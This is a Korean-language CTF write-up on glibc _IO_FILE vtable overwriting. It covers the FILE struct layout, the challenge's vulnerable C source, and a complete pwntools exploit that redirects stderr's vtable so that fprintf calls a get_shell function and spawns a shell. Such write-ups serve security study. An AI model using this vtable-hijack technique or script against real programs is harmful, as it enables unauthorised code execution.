_IO_FILE 구조체
struct _IO_FILE
{
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
/* The following pointers correspond to the C++ streambuf protocol. */
char *_IO_read_ptr; /* Current read pointer */
char *_IO_read_end; /* End of get area. */
char *_IO_read_base; /* Start of putback+get area. */
char *_IO_write_base; /* Start of put area. */
char *_IO_write_ptr; /* Current put pointer. */
char *_IO_write_end; /* End of put area. */
char *_IO_buf_base; /* Start of reserve area. */
char *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
int _flags2;
__off_t _old_offset; /* This used to be _offset but it's too small. */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
- 구조체의 크기는 0xd0
- 마지막 8byte는 vtable의 주소이다.



__finish : fclose()
__xsputn : fwrite()
__xsgetn : fread()
vtable_overwrite
- 마지막 8byte에 존재하는 vtable의 주소를 따라 이동
- 호출한 함수(fclose,fwrite 등)에 따라 인덱스 만큼 증가
- 해당 주소로 함수 실행
- 실제로 vtable 주소를 덮을 때는 인덱스 증가하는 것을 감안하여 주소 작성
iofile_vtable 문제
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
char name[8];
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
int idx = 0;
int sel;
initialize();
printf("what is your name: ");
read(0, name, 8);
while(1) {
printf("1. print\n");
printf("2. error\n");
printf("3. read\n");
printf("4. chance\n");
printf("> ");
scanf("%d", &sel);
switch(sel) {
case 1:
printf("GOOD\n");
break;
case 2:
fprintf(stderr, "ERROR\n");
break;
case 3:
fgetc(stdin);
break;
case 4:
printf("change: ");
read(0, stderr + 1, 8);
break;
default:
break;
}
}
return 0;
}
- stderr + 1 : 동적 디버깅을 통해 vtable 주소인 것을 확인
exploit
from pwn import *
import sys
if len(sys.argv) > 1 and sys.argv[1] == 'remote':
p = remote("host1.dreamhack.games", 22712)
else:
p = process("./iofile_vtable")
get_shell = 0x000000000040094a
name = 0x6010d0
p.sendafter(": ",p64(get_shell))
p.sendlineafter("> ","4")
p.sendafter(": ",p64(name-56))
p.sendlineafter("> ","2")
p.interactive()
- checksec 확인 결과 no-pie 였기 때문에 get_shell과 name 주소 그대로 사용
- name에 shell 주소 입력
- case 4로 이동하여 vtable overwrite
- case 2를 때문에 fwrite를 실행시킬 것이기 때문에 fwrite의 vtable 인덱스 0x38. 따라서 56만큼 뺀 주소로 overwrite
- case 2번으로 fwrite 실행함으로써 shell 주소 실행